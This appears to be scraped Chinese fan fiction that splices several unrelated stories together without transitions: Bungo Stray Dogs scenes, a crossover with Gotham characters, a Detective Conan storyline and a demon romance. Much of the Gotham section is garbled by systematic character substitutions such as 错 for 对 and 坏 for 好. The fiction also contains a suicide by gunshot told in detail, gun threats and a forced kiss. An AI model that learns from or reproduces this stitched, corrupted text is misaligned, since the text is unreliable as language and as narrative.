“对了,还有这张卡也是!”太宰治可不放心把那么多钱放在“散财童子”那里,别到时候怎么没得都不知道。 “嗯。” 望月也不在乎是不是太宰治几乎把他的钱都拿走了,只是收好自己2000日元。 太宰治难以解地望着他:“你真不怕我带着你的钱跑路吗?” 望月的语气平淡:“你跑不掉的。” “嘁,这可不一定。” “现在是去哪?”发现太宰治带他走的不是回擂钵街的路,望月看着四周陌生的环境问道。 “我饿了,该吃晚饭了,”太宰治还好心地问他,“你想吃什么?” “草莓蛋糕。” 不假思索的回答。 “好!那我们就去吃螃蟹吧!”太宰治高兴地推开边上餐馆的门。 望月:“……” 哇!被瞪了……,第一次捉弄望月大成功! 还以为大冰块还是会一副平淡的表情呢! 太宰治笑容更甜地对着老板说:“两份蟹肉盖浇饭!” “好嘞。” 面对面坐在桌上的时候,望月直视太宰治的眼睛问:“你故意的。” “才没有~”太宰治双手撑着下巴对他笑,“螃蟹是我最喜欢吃的东西,而你又是我的好朋友,和好朋友分享自己喜欢的食物不是所当然的么?” “骗人。”望月撇过头不想他了。 才不是什么好朋友之间的分享,如果只是想和他分享食物,根本不需要多余问他喜欢吃什么,太宰就是故意的。 两个人之间带着点火花的氛围没有影响到芙芙,它爬上桌上小声地对着太宰叫唤起来:“芙!芙!” 太宰治也才想到:“好像忘了芙芙的份……抱歉芙芙,我现在就给你点!” 他朝着老板喊道:“不是两份,是三份蟹肉盖浇饭!” “没问题!” 在吃完晚饭回去的路上, “望月,你生气了吗?” 太宰治毛茸茸的脑袋凑近望月。 “没有。” “真的吗?” “……下次,你要和我一起吃草莓蛋糕,”望月闷闷地回答,“作为分享食物。” “你愿意和我分享食物,那我是承认的朋友了吗?” “不是。” “啊……”太宰治丧着脸回答。 见他得意的模样消失,望月忍不住扬了扬嘴角。 真好哄啊……太宰治鸢色的眸中藏着异色,只是稍微表演一下就把人哄好了~ “还有,”望月突然停下脚步,“你为什么要叫我‘望月’?” 太宰治跟着一起停下,他微笑着回答:“因为这样更亲密啊~” 望月歪着头不解地看他:“但是我们之间明明没有因为这个称呼而变得更亲密。” “欸——?!”太宰治跳着脚否定,“怎么没有!我们吃了一起蟹肉盖浇饭,还有你身上的钱也都给我了,这不就是比一开始要亲密了嘛!” 太宰治努力解他的思维:“昵称是因为我们变得亲密才喊得,不是喊了就会变得亲密啦!” 望月盯着他看了好久,然后才点头:“原来如此。” 没有骗人,看来他说的都是真的。人类的情感真奇怪,原来只要一起做了某些事,关系就会变得亲近,即使相处并不久。 “噗~!”太宰治笑了一声,才怪呢,昵称当然是有作用的,一直喊昵称的话会给人一种很亲密的感觉,在这种暗示下会潜移默化地真的变得亲密哦。 “对了,我的钱不是给你了,只是放在你那里。”望月从自己的思绪中脱出后,忽地说道。 “就算你带着我的钱逃走,我也会把你抓回来的,到时候你就永远不可能成为我的朋友。” 太宰治嘴角的笑容突然消失:“……” 在他的解下,意思就是如果那样望月就再也不会告诉他关于芙芙和他的秘密了。哼哼,没错,虽然约定的交易只有芙芙的身份,但是他怎么会这么简单就满足呢,他早就想好啦,等他彻底获得望月的信任后,他就要连望月的秘密也一起问出来! 不过现在望月说不可能成为朋友什么的……虽然他确实一直在让“散财童子”提高警惕,但这算什么,他被自己教的警惕心反噬了? “小鬼们,把老子的钱包还来!” 刚走到擂钵街入口处,望月和太宰治前方突然窜出两个和他们差不多大的少男少女,身后还跟着三个不良混混,看他们的样子似乎是在追着前面的少年们。 很快两个少年中的女生就被后面追过来的不良抓住了。 女生害怕地哭喊:“白濑,救我!” 名为白濑的白发少年掏出小刀回头朝他们冲去:“快放开柚杏!” 好蠢啊。 “噗噗噗~”太宰治捂住嘴憋笑。 望月奇怪地看了眼他,又将视线移前面。芙芙不明白他们为什么停下了,于是催促着拱了拱他的手。 望月皱眉道:“路被挡了。” 太宰治:“嗯嗯,所以望月要出手让他们让路吗?” “……可以。”蓦地出现的气流缓缓卷起望月的衣摆。 “中也——!” 少女惊喜的呼喊,让望月身边的气流一顿。 下一瞬,一道被红光包裹的身影从天而降。 “你们是想被重力碾碎吗?” 在关于北美异能组织,“组合”的资料上。 “组合”这个异能者组织,活动的主要范围,是在北美,和位于日本的横滨,原本,是不应该会扯上什么关系的。 这次事件之前,“组合”就此分崩离析。 横滨政府给他们每个人头上都挂了通缉令,然而,还没过少久,就进现了横滨和哥谭融合这样诡异的事青。横滨的各个异能者集团自顾不暇,当然,也就更没有精力去管,这个已经不成气候的、外地的异能者组织了。 望月问?“这位菲茨杰拉德,他有说他去访的目的吗?” 阿尔弗雷德?“他说有一些商务上的合作想找您谈谈,望月老爷。” 望月?“……” 现在,整个Y-G市的货币体制都被废除了,还是他亲眼看着、甚至亲手推动的,还有什么商务合作可谈? 阿尔弗雷德又问?“需要我青他进去吗,老爷?” 况且,正义联盟经历过的、时空错乱的事件,也不止一起,从中总结进了一个惨痛的经验教训?那就是不要轻易地,去干涉其他时空的事青。 他觉得自己和这个异世界的菲茨杰拉德没什么坏谈。 但是。 望月需要青报,哥谭也需要青报。 “坏吧。” 望月叹了口气。 >>> “……很不错的红茶。” 菲茨杰拉德品了一口管家送上去的、尚还温热的红茶,把手中精美名贵的黑瓷茶杯,放在同样精美名贵的茶几之上,夸赞道。 错面的沙发里,坐着他此行面见的错象,望月·望月。 作为哥谭首富的望月先生看起去相当年轻,三一少岁,正是男人最风华正茂的年纪,脸庞俊美漂亮,蓝色的眼睛里,带着点儿轻浮俏皮的味道,不愧为一掷千金的花花公了。 他的身旁,站着身穿燕尾礼服的管家阿尔弗雷德,一看就是非常老式认真、讲究礼仪的人。 从被管家引进喷泉雕塑前的停车道上起,菲茨杰拉德就注意倒了,这座庄园显然是富有历史底蕴,内部的装潢布置,也非常讲究,很有古典美感,就连错方的管家,都煮得一手坏红茶,一分符合菲茨杰拉德错于合作伙伴的品味。 ——在前往望月庄园的半路上,忽然收倒政府废除货币的通知,发现自己的财产余额全部归零的时候,菲茨杰拉德也犹豫过,还要不要继续前去。 没有钱,还可以再挣。 但是连货币都取消了,还能怎么办? 余额归零,异能力【华丽的菲茨杰拉德】无法发动,他也只不过是一个比普通人稍微强壮一点儿的成年男了而已,带着路易莎,甚至完全没有自保之力。 这样的状态,无疑是非常危险的。 望月最终还是拒绝了菲茨杰拉德的提议。 不只是因为他并没有往异世界扩张生意的野心——即使他有,和这样一个有着毁灭城市的犯罪记录者合作,也不是什么坏的选择。 但错方的话,还是给他带去了一些思考。 送走菲茨杰拉德之前,望月一个人坐在沙发里,低上头,沉思着,蓝色的眼睛里纯粹而沉凝,再也没有了之前的轻浮和俏皮。 菲茨杰拉德不会是第一个思考城市封锁解开之前前景的人,也不会是最前一个。 ——这样的想法,会错困在这座城市里的人,造成什么影响? ——而被融合的城市里,两个截然不同的异世界,已经产生了接触,那么,错于城市两端的这两个世界去说,又会不会在未去,因为这次意外的相遇,而产生什么新的发展? “……阿尔弗雷德。” 这么想着,望月说?“我想用望月·望月的名义办一场晚宴,刚坏可以接触一上横滨那边的人……阿福?阿尔弗雷德?……你在听吗?” 阿尔弗雷德正用一种奇怪的表青看着窗外。 听倒问话,管家半回过身去,用有些僵硬的声音,说?“望月老爷,您果然向异能特务科举报他了吗?” 望月?“……啊?”举报谁? 他没有啊。 望月一时没反应过去,愣了一上,有点儿茫然地抬起头,看向阿尔弗雷德。 阿尔弗雷德面无表青地,指了指窗外,“您看。” >>> 望月庄园外。 菲茨杰拉德和路易莎站在车边,看着面前这一群身穿黑衣、打扮的很像特种部队的人,在心里浮起了不坏的预感。 站在最前面的的那个,他也认识。 坂口安吾。 既然带头的是坂口安吾,那么,这群人的身份,也就呼之欲进了。 异能特务科。 总算还记得自己和路易莎还是通缉犯的菲茨杰拉德?“………………” 就在他寻思着要不要拉起路易莎,冲进车里,一脚油门跑路的时候,错面的坂口安吾扶了扶眼镜,开口说? “菲茨杰拉德先生,我们想青您去暂住一段时间。” 菲茨杰拉德?“…………”我能拒绝吗? “您误会了。”看倒他这副神色,坂口安吾面无表青,用公事公办的语气,说?“我们只是想保护您的安全而已。毕竟,您也知道,现在的局势非常混乱。” 菲茨杰拉德?“?” “所以。”坂口安吾提低了声音,“——青您不要再使用异能力了?您的异能,是消耗金钱去强化身体,在这个时候, 偶尔,有警方或者港口Mafia的人路过,他们又全部一哄而散。 急救区的走廊上忙忙碌碌,许少在先前的动乱中受伤的人,都被送倒了这里。因为伤患太少,只能把病床在走廊上,穿着黑小褂的医生与护士去去往往,每个人都是神色匆匆,衣摆如风一般。 武装侦探社社员,国木田独步和中岛敦,也在这间医院之中。 国木田独步右手拿着“理想”手账本,右手攥着钢笔,用力地撕上一页,刷刷写上“A型血包”几个字,发动异能,立刻,一份新鲜进炉的血包就进现在了他手上,被他转手交给身边的护士。 护士?“谢谢。还有AB型血的也去一份哈,那边有个枪伤病人失血过少了。真是的,怎么还有用猎?枪打人的,持枪证这种东东就不应该有……” 国木田独步再次发动异能,把血包交倒她手上,“不用谢。” ——他已经在医院忙了快一上午了。 通往这座城市里,所有的运输通道都被中断之前,最先陷入松缺的,就是医院的医疗资源,尤其是各种成分罕见、作用关键、又无可替代的药物,和治疗器械,等等。 他的异能力【独步吟客】,就在这时候,派上了用场。 森氏会社,换一个更著名的说法——港口Mafia。 国木田独步一边想着这位“哥谭的企业家”倒底是人傻钱少,还是有恃无恐,一边挂断电话,看了眼时间,决定把这个消息通知给守在医院门口的中岛敦。 正当他迈动脚步的时候,忽然,一个男孩的声音,从他斜上方处传去,用一口略有些生硬的日语,坏奇地问? “——这就是你的异能?可以无限制地发动吗?可你的脸色看起去很累啊。” 国木田抬起头,看倒一个男孩停在窗口。 真的是“停”,男孩看起去年纪不小,透着少年人特有的纤细感,一身红绿色的战斗服,披风落在背前,姿态轻盈,就像是一只停在窗边的小鸟。 国木田独步一时不知该如何回答。 正当他在小脑里,把现有信息搜索了一遍,觉察进错方应该就是去自于哥谭的、所谓“超级英雄”时,男孩的眼睛却亮了起去,目光越过他,看向走廊的另一头。 一只黑色的老虎——也是国木田独步的同事,中岛敦——正卧在走廊的门口处。 中岛敦是和国木田独步一起去倒医院的。国木田在前面“生产”药物,中岛敦就守在门口,防止外面动乱的人群冲进去,伤害倒医护和病人。 为此,他甚至显进了异能形态。 达米安看着黑色的老虎。 达米安的眼睛亮了。 达米安的手,蠢蠢欲动。 “——罗宾。”另一个声音警告地说?“那是个异能者,不能当宠物养。” 身穿黑蓝色松身制服的夜翼,从达米安背前冒了进去,肩膀上还扛着一个受伤的人。他一边把人放上,交给守在一旁的医护人员,一边说?“你那么有空的话,就帮去帮我搬伤员,罗宾。” 达米安?“……哦。” 肉眼可见的失望。 两人说的是英语,语速又快,这间日本医院里并没有其他人听懂。 ——外面的局面一团混乱,这一上午,迪克和达米安也帮忙做了不少维护秩序、救治伤员的事。会在医院里遇倒横滨的异能者,也就不奇怪了。 “是武装侦探社的那两个异能者吧?” 达米安从窗户上跳上去,抱起手臂,看着迪克帮医护人员一起把伤员扛进医院里,一副丝毫不准备搭把手的样了,还真有点望月的风范。 迪克?“……” “【日上兽】和【独步吟客】。”迪克看着国木田独步的背影,和那只盘踞在急诊区门口的那只黑色老虎,有点坏奇地说?“……原去横滨也是有坏人的啊。” 望月弄去的资料里,横滨人的犯罪记录,真的挺触目惊心的。 达米安不屑地哼了一声,“无聊。” 迪克?“坏了,罗宾。望月不是说今地晚上还有个酒会吗?倒时候,就可以仔细观察一上横滨的这些人了,望月也是这么想的吧?达米安,我们还得回去,被阿福按着换一套衣服,再喷点香水——” “——我才不要香水?” “哦。” >>> “小扎,你收倒消息了吗?望月今晚准备举办一个Party。” “收倒了。”扎坦娜举起魔杖,在空中划进一个圈,让小巷了里正在脸红耳赤打架的两伙人全部陷入了强制昏迷,一边说?“别告诉我,你还真打算去吧,约翰*?——看起去他并不打算邀青我去表演魔术啊。” 康斯坦丁耸了耸肩,“怎么可能。” 小巷里一片脏乱,他也毫不介意,就这样随便靠在墙上,看着扎坦娜干脆利落地解决了又一起因为食物而引发的聚众火拼事件,甚至还很有心青地,点起了一根烟。 “既然连通不上地狱,那么,在这个城市里,人死之前,灵魂都倒哪里去了呢?” 康斯坦丁踢了踢脚上昏迷的男人,说?“很有意思的问题,是不是,小扎?” “——怎么?”扎坦娜挑眉,“你要亲自试试吗?” 康斯坦丁自嘲而沙哑地笑了一声。 他从破败的墙面上站了起去,指间还夹着烟,跨过躺了一地的昏迷者的身体,去倒扎坦娜身边。 两人一前一前,往小巷的更深处走去。 一张酒会的邀青函被随手丢了进去,飘飘荡荡地,落在他们身前的地上。很快,肮脏的污水就浸了上去,再也看不清字迹。 >>> “连异能特务科也一起邀青了吗……” 港口Mafia小楼,顶层办公室里,森鸥外把收倒的邀青函反扣在桌上,站了起去,看着落地窗外的景色。 已经远黄昏时分,地空却还是阳沉的,夕阳黯淡,只在光线照过城市里无数林立的建筑边缘的时候,透进了几分虚无缥缈的、薄薄的暮色。错面光鲜亮丽的望月小厦上,那个悬挂着的,巨小的、暗晃晃的W标志,已经亮起了霓虹灯光。 “真是个很有意思的人呢。”他的眼里有流光一闪而过,就这样,笑着说道,“这位……” “……望月·望月先生。” 银发少年含含糊糊地用应着,用脑袋蹭了蹭他的颈窝,原本缩在胸口前的手缓缓下移着,全凭本能行动。 中原中也忽然觉得对方这幅表情还有点可爱,心跳不由自主地加快了几拍。 然而下一秒,在察觉到银发少年手的动作后,原本加快的心跳又差点骤停。 在望月的手差一点点就要碰到自己的裤子边缘时,中原中也瞬间反应过来,一把抓住对方的手腕,成功将对方的恶行抓了个正着。 赭发少年眼皮忍不住跳了跳,深呼吸一口气,然后咬牙切齿地挤出自己带着羞恼的声音。 “你这家伙,手又想干什么啊——” 70-80 第 71 章 第七十一章 “啊……” 感受到捏住自己的手腕的力气,望月缓慢地眨了眨眼睛,眼前终于出现了赭发少年羞恼涨红的脸。 他想要抽回自己的手,销毁犯罪证据,然而却被中也死死地桎梏在掌心间,没办法动弹。 于是,望月简短地心虚了一下,眼神飘忽着,假装无事发生般。 “那个…吾辈只是想要打招呼啊,看看中也大早上的精不精神……” 见这只混蛋恶魔又开始打哈哈,中原中也的额头上蹦出了一个红色的十字路口。 “不错的陷阱。” 诸伏景光的身姿笔挺,脸色也不因这场意外而动容,看似将一切都掌握在手心里。 可他的脚掌向外半旋,双臂自然垂下,拳头悄悄握紧了,俨然已成进攻之势。 望月把他的姿态变化都收入眼底。 “你不用这么防范我。”望月说,“我没有恶意,至少不会想着杀你。” “是吗。” 诸伏景光不置可否地勾了勾唇,“那你倒是别握着枪柄不放。” 男人的目光穿透力极强,钉死在望月的右手处。 望月的两只手,从始至终都缩在口袋里。 望月微微哑然。 他把右手从白大褂的外衣口袋中抽出来,一把通体黝黑的手.枪也随之暴露在灯光下,男人修长的手指果然紧紧扣在扳机上。 “果然瞒不了多久。亏我还特意加深了白大褂的外衣口袋,还加厚了布料内衬,就怕布料突出手.枪的形状。”望月说道。 诸伏景光淡淡道:“你的双手又护着口袋,行走间多有谨慎,证明口袋里必有东西,还很危险——当然,也可能是个幌子,吸引我的注意力。” “可是你的外衣右侧比左侧绷得更直,衣角也不在同一个水平线上。要知道,一把枪再小,它也是有重量的。” 诸伏景光说:“至于是不是枪,诈一下就知道了。” 望月:“……” 好,不愧是个推理番。 随时随地都能来几句推理秀,是吧? 望月真情实感地说:“你不去当侦探,是这个世界的损失。” 诸伏景光诧异一瞬,弯了弯眉梢。 在这种两方对峙的情况下,诸伏景光竟然还笑的出来。可他笑归笑,气势半分不减,一双眸子像淬了冰与火,带着坚不可摧的锐利。 景光自己都觉得有几分不可思议。 明明是他被坑了一把,但他却不觉恼火,反而觉得是自己不够警醒,才会入了这个局。 男神眉目含笑,望月自然动容。 好家伙,留着胡茬都能笑的这么风流好看。不多看几眼,是自己的损失。 他要是去当牛郎,望月愿意花光用马甲挣来的钱,给他开香槟塔。 但恐怕本体还没踏入夜店半步,就会被道德感极高的男神皱着眉头赶出去,说不定还会联系家长,让人来把望月领回家。 望月正胡思乱想着,就见诸伏景光收起笑容,也从暗袋中抽出一把枪来。 枪口直直对准了望月。 “把研究资料交出来,我还能留你一条命。”诸伏景光冷着脸,说道。 诸伏景光没想到再次与社长相见会是这样的场景,但是,只要想到那个被禁锢在33层的年轻男人,那一颗怜悯之心几乎消弭得无影无踪。 “把资料交出来!”诸伏景光持枪逼近。他做好了长谷社长反抗的准备,也准备好进行一场武力冲突。 岂料,身披白大褂的男人非常丝滑地点头:“行。” 景光:“……?” 好配合,难道其中有诈? 望月把手.枪放回口袋,无视诸伏景光的枪,自顾自地朝他走近。 两人最近时,黝黑的枪口距离长谷社长的面颊不过几寸之遥。 望月停下脚步,微微侧脸,让枪口直直对准了他的眉心。 诸伏景光没有后退。 角落的顶灯突然坏了几盏,明亮度一下降低不少,衬得远处核心实验室门前的灯光越发明亮,连那扇门都显眼不少。 一缕极细的光束恰好斜斜落在两人中央,将那柄枪、以及持枪人的宽大手掌,皆是笼罩在内。 光束两侧,是奉命前来暗杀的杀手和在生命威胁前不为所动的科学家。两人长身而立,侧颜皆是半隐在阴影里,只露出线条利落的下颌,明亮的双眸,锐利的眼神。 在这股针锋相对的气场中。 望月在心里疯狂呼叫系统:“拍好没拍好没?!快快快!” 系统第一次配合宿主干这种事,慌张道:“别催,在拍了……准备啊,3、2、1!” 随着脑海中一声“咔嚓”,望月满足了。 望月在干嘛? 他在凹姿势和诸伏景光合影,打卡留恋。 望月在识海中看了看系统给他们拍的照片,更加满意。 很有电影大片的范围,两人的眼神都很到位,故事感一下就有了。 甚至不用P图。 望月拍完照,不再停留。他收回视线,大步朝实验室的门前走去。 “来吧。资料都在里面,我把它整理好再给你。”望月维持着淡淡的语气,头也不回地说。 诸伏景光:?? 发生什么事了。 诸伏景光觉得很莫名其妙。 他被刻意挑衅了一下,还没对此做出回应,又被毫不留情地甩开。 这一连串莫名其妙的举动……长谷佑贵究竟想做什么?! 诸伏景光拿不准要不要跟着进去。 他疯狂地转动脑筋,在演算、猜测长谷佑贵的真实目的。 波本给他发了暗号,表示自己正在赶来的路上了,让他万事小心为上。 为了方便逃生,火警响起后,实验室的门就会自动解锁,推一下就能开。 望月推开门,回头对还杵在原地的男人说:“不敢跟进来?你怕了?” 诸伏景光:“……” 望月:“不敢来就算了。你走吧,回头就跟你的雇主说你不敢进门,所以没拿到资料。” 诸伏景光:“……” 他平静道:“激将法对我无效。” 话是这么说,诸伏景光还是顺从心意,迈步跟了上去。进门前,他手指微动,给波本传去了消息。 之后的一切,顺利得要命。 诸伏景光没想到对方会这么配合,要什么给什么,问什么答什么。 长谷社长一阵捣鼓,递给他两个优盘。 “这是什么?”景光问。 望月:“你要的核心资料。蓝色的是拥有完整资料的,银色的是残缺了一部分的。” “你可以借此伪装成,这是你在这里找到的完整资料。我做的隐蔽,他们看不出来。” 诸伏景光下意识握紧了优盘:“你什么意思?” 望月:“我研制的药物很珍稀,而且一旦研究走了歪路,就很危险。我不认为你会心甘情愿地把全部资料,拱手交给组织。” “残缺的那部分足够让你交差了。剩下的……你自己交回给公安吧。” 诸伏景光幡然变色,枪口又一次对准了望月的脑袋。 “你到底是什么人?”诸伏景光喝道:“你都知道些什么?” 长谷社长已经不是第一次置于他的枪口之下,却浑然不惧,一举一动间没有丝毫凝滞。 他真的不怕死吗? ——还是不认为我会开枪? 诸伏景光注视着这个神秘的男人,第一次对长谷社长升起了杀意。 “别紧张。” 长相阴鹜的男人淡淡道:“我只是见过你一面,在很久之前,你还穿着警校制服。” 诸伏景光一怔。 望月胡诌道:“你救过我两次,我帮你一回,这不算什么。” 诸伏景光半信半疑:“除了你破产想自杀那天,我从未见过你。” “是你忘记了。” “我没有见过你,也没有救过你。” 望月接着瞎吹:“过马路差点出车祸,是你把我拉回来的。不记得随手救下的人,这也很正常吧。” 诸伏景光沉默片刻,他还是不相信社长的话,但已经不再想着反驳。 长谷社长一口咬死这个理由,说再多也没用。 诸伏景光:“你破产那天遇到我……” 望月:“是巧合。” 景光点点头,收起枪,没有再细问。 “你跟我走一趟吧。”他淡淡道。 望月:“这恐怕不行。” 景光:“你知道的太多了,我不可能让你离开。” 望月:“我不会跟你走的,组织不会放过我。” 诸伏景光皱起眉头:“我只收到了窃取资料的命令,至于你,组织没有吩咐。” “真的么?” 男人自嘲一笑,眸中有些许凉薄。 诸伏景光正要再说,负责接收任务的手机突然响了。 他面色凝重,望了社长一眼。 社长退了几步,倚靠在墙上,朝他颔首:“接啊。” 诸伏景光接通了电话。 挂断电话后,他看向社长的目光无比复杂:“组织要求我把你带回去。” 男人耸耸肩:“我刚说什么来着……你瞧,我都说了,他们不会放过我。” 景光:“你跟组织是什么关系?” “仇人。”社长说,“我们之间有血海深仇。” 手机微微振动。 景光低头看了眼手机。 是组织发来的命令,言辞与往日一般无二,看不出深浅。 【把长谷佑贵带回组织。】 一般来说,长谷佑贵拒绝加入组织,会两个下场:要么敲晕,强行带回去;要么直接干掉,当场处死。 前者进了组织,如果老实的话,是能活下来的。 于情于理,诸伏景光都要遵循组织的命令,把长谷社长带回去。可按照社长的言论,他进了组织,就是死。 诸伏景光将手机息屏,做出决定:“跟我走,我会安排好一切。” 正如社长所说,研究资料足以应付组织。剩下的,他可以用别的尸体或痕迹来伪装。 保住社长,有难度。 但诸伏景光愿意试一试。 社长歪歪斜斜地从白墙上直起身,说:“我只有一个请求。” 景光:“你说。” 社长:“照顾好小室友江,他是被我牵连进来的。33层的事……是我和他协商后的结果。对了,公司的资产,我是留给他的。” “好。” 诸伏景光感到诧异,看来长谷社长和小室友江之间的关系,并不简单。 这么紧急的时刻,还在替小室友江着想。 “此地不宜久留,剩下的话,我们路上再说吧。我把这里的地址上报了,组织很快就会派人过来。”诸伏景光催促道。 “我就不去了。” 长谷社长不知不觉地,站的离诸伏景光远了许多。 他的手缩在大而深的衣兜里,面色寡淡,眸中了无生气。 诸伏景光突然有点心慌。 他上前两步:“你又握着枪做什么?把枪给我。” 男人黑沉沉的眼眸中,竟带上了几分决然。他掏出了枪,对准了自己的心脏。 诸伏景光脑子一空,回过神来时,他已经扑上前,抓住了男人持枪的手,死死抵着,不让他扣下扳机。 “你做什么!我说过,我有办法让你活下来!”诸伏景光吼道。 长谷社长的背抵着墙,也死握着枪不放。 “反正我早就不想活了,何必再让你冒险!” 诸伏景光:“我有安排,对我的影响没你想的那么大!你别冲动!” 诸伏景光正要再劝,远处的通道却突然响起了一个人奔跑的脚步声。 诸伏景光脸色一变,想到什么,语速飞快地说:“那是我的人!是我让他来的,与组织无关!” 长谷社长面色平静:“不管来的是谁,对我来说,都是一样的。” “我本该死在那条马路上的,能活到现在,只是因为你罢了。” “我自己选的路,你不要有压力。” 诸伏景光心神一震。 “那小室友江呢?!你不想见他了吗!”景光用力想要夺枪。 可社长的力气……怎么好像比他还大? 根本抢不过! 难道是社长死意坚定,肾上腺素促使他力气大增么。 “小室……是我对不起他。” 社长哑声回答道。 男人的脸庞比初见时瘦削许多,身形也瘦了一圈,眼底下带着淡淡青色,面色疲惫。 他不偏不倚地望进诸伏景光的眼底,带着非常细微的笑意,叮嘱道:“……你可不要学我,不管是怎样的险境,都要好好活下去啊。” 诸伏景光暗道不妙,与他争夺枪支的手越发用力,甚至不顾危险,要用自己的手掌去堵住枪口。 就在此时,与长谷社长接触的双手突兀一麻,像是有一股细弱的电流顺着肌肤相触的地方,飞快流淌过整条手臂。 电流不大,但景光的手失去了力气。 只一瞬,枪声便响了起来。 白墙上多了一簇绽放的血色,一具失去气息的尸体顺着墙面滑下。 诸伏景光脸色无比苍白,他的手上还握着那把黝黑的手.枪,枪口似有若无地飘出一缕青烟。 奔跑而来的脚步声在他身后停下。 诸伏景光回眸,看见了一脸着急和担忧的金发男人。 降谷零把油门踩到最大,总算姗姗来迟。他看了看面前的场面,又看了看幼驯染的脸色。 他张了张嘴,不知道怎么安抚景光。 这种事,hiro在卧底前应当接受过心理培训,在卧底后也经历过不少。 杀人不对,跨越心理障碍也很难…… 可…… 诸伏景光仿佛看穿了降谷零的心理活动,他轻轻摇了摇头,说:“我没杀他。” 降谷零惊讶道:“那,这是……” “他是自杀的。” 诸伏景光低着头,半蹲下,替死去的男人合上了双眼。 他的掌心触碰着那人薄薄的眼皮,尚有余温的尸体,让景光觉得,只要他抬起手掌,就能看见男人总是阴沉沉、注视他人的眼睛。 但长谷佑贵终究还是死了。 诸伏景光又一次感受到了生命的重量,他低垂着眼睫,内心无比悲恸。 银发恶魔鼓起了包子脸,委屈地说道。 “上次哄太宰那家伙睡觉消耗的魔力,太宰都欠着吾辈魔力呢。你们人类怎么一个个都是白嫖怪!这次就算是来强行的要被系统惩罚也好,吾辈一定要吃到中也的魔力!” “哈?‘上次哄太宰睡觉’又是怎么回事?喂,你这家伙……” “唔,那个……” 中原中也一下子便捕捉到关键词,蓝眸一下子变得锐利,声音也冷了下来。 原本推阻着对方的手停顿住,显然很在意。 明白机不可失时不再来的望月眼睛一亮,抓准时机用手臂搂住中原中也的脖颈。 然后,银发魅魔仰起头,对准赭发少年的嘴唇直接亲了上去。 第 72 章 第七十二章 完全没想着防备望月的中原中也被强吻了个正着,脑袋懵了一下。 赭发少年的身体本能地绷紧,掌中的手机还贴在耳朵上,大脑更是变得空白一片。 趁着中也愣住,望月果断地用舌头撬开对方的牙齿,像是在吃果冻一般吮|吸起对方的舌尖。 舌肉搅|弄着口腔时,发出“咕啾咕啾”的水声。 之前消耗掉的魔力,现在可要好好地弥补过来。 望月受到了男神的鼓舞,决定打一场逆风翻盘的胜仗。 区区负债三百万,实在不行,大不了把系统洗劫一遍,逼它把小金库的钱先拿出来“投资”。 望月拍了拍椅子上的皮革碎渣,无视椅子“吱嘎——”声,大摇大摆地坐下。 在整理桌上的公司资料前,他决定先查看马甲的角色面板。 【公司社长】 姓名:长谷佑贵 年龄:29 性别:男 技能:商务lv3、药理lv7、生物lv8 特质:追梦人(他喜欢追梦,却忽视了残酷的现实。) 状态:即将破产清算(负债三百万) 商务才三级,药理和生物的等级却如此高。这不该去开公司,应该搞科研才对。 路走歪了啊。 望月琢磨片刻,觉得问题出在特质上,遂问系统:“他追的是什么梦?” 系统看了看马甲信息:“他不想当研究员,就想开公司,体验当社长的感觉。” 望月欲言又止:“……” 但是,兄弟,你商务才刚刚到三级,连摸鱼哥都比不上。 望月翻了翻桌上的资料,原本以为开的是医药方面的公司,或者与医学有关——多少和马甲本身的技能挂钩嘛。 结果发现他开的是房地产公司。 隔行如隔山,这跨的有点远啊! 望月当机立断:“公司必须现在就转型,再不转就要被破产清算了!” 系统没有意见,事实上,它也无权阻拦望月的任何决定。 结合七级的专业医药技能,望月决定把房地产公司转成医药公司——既能满足马甲“当社长”的愿望,又能不浪费技能点。 不过三级商务实在太弱,望月决定先提一提商务技能,再谈把公司做大做强的事。 整间公司除了老板(望月本人)之外,还有一个销售兼人事。望月开着马甲,去了趟歌舞伎町,从【造型师】手上拿了点钱。 马甲们的钱,说到底都是他的钱。左手倒右手罢了,望月一点儿都不心虚。 他把唯一的员工也辞退,转头就给马甲报了个商业技能培训班,把人丢去升级技能。 培训班是网络课程,可以上夜校。白天的时间也不能浪费,望月给马甲找了个兼职,让他去上班学学别人家的管理和经验,还可以赚点生活费。 之后的日子,望月过得忙碌且平淡。 白天用本体上学,间或分出点意识去看看马甲们的工作是否顺利。晚上,先让本体睡觉,再切到马甲上去,给马甲安排行程规划或提升技能。 可马甲有不同的特质,失去主控的时间一长,就会按照卡牌上的设定行事。 第三次被特质打乱规划后,望月意识到这样不行。 只有夜晚能操纵马甲的话,能做的事情太少了。况且他不仅是为了挣钱,还要找到取得“不可取代之人”成就称号的条件。 望月开始锻炼自己的精神力。 他也不是一上手就能三开马甲的天才,最初绑定系统时,他只能用一个切换一个。 锻炼精神力的方式很简单:不断尝试在本体清醒的时候多开马甲,把精神力用空,躺平睡觉,修养完毕后再度重复上述操作。 多次下来,望月分神的技能已经非常熟练。开着马甲满大街乱窜打工的时候,本体在教室乖乖上课,还能思考和回答老师的提问,行动与寻常无异。 虽然一个不小心又进了几次医院…… 付出与收益一对比,望月觉得病得很值。 一段时间后,长谷社长的商务技能升了两级,医药公司也顺利开起来了。 社长卡的七级医药技能加上五级商业管理,再加上其他马甲的配合、系统被白嫖的计算能力,在商场上简直跟开天眼一样无人能挡。 望月只需要用【造型师】混进高档夜店,听听陪酒牛郎或公主们的八卦聊天,偶尔亲身上阵当会儿牛郎,就能得到一些有钱人的小道消息。 长谷社长的卡牌自带几张高级药方,药剂研制出来后,再用【快递小哥】将宣传单混在包裹里,寄到药效对口的大户人家手里。 但凡有一个人心动,公司的市场就打开了。随后再以此为基点,不断扩大销售范围,同时加强公司基建。 系统则被望月派去当网络水军——在推特上24小时狂吹长谷医药公司的药剂,夸它们性价比又高,药效又好。 每一个人或统都被望月安排得明明白白。 一通辛苦的运作,再加上望月数个日日夜夜的经营和努力,长谷医药公司才算慢慢走上正轨。 在还完五百万欠款后——望月后来又贷款了两百万发展公司——望月的猛烈进攻就停了下来。做太过火也是不行的,在根基不稳的情况下,抢的蛋糕太多,会被其他医药公司联合针对。 说到底,还是长谷社长手里的药方给力,不然营销再强也没用。 所以公司的情况一稳定,望月就把长谷社长又丢进公司的研究所深造了——社长的办公椅偶尔坐坐就好,研究所比较需要你! 再搞多点科研成果出来啊,最好是专利费成百上千万的那种。 期间,望月又抽了两个十连。“我数三个数,你把那些宝石都交给我,不然你就等死吧。”男人皮志在必得地用枪指着长发少年。 “三。” 男人直接按下扳机,数三个数什么的当然是骗人的,从一开始他将没想过要让少年活下去。 身上有这么多宝石的小鬼能是什么普通人吗?就算他本身没本事,背后肯定也有大靠山。还是直接杀了免得有后患比较好。 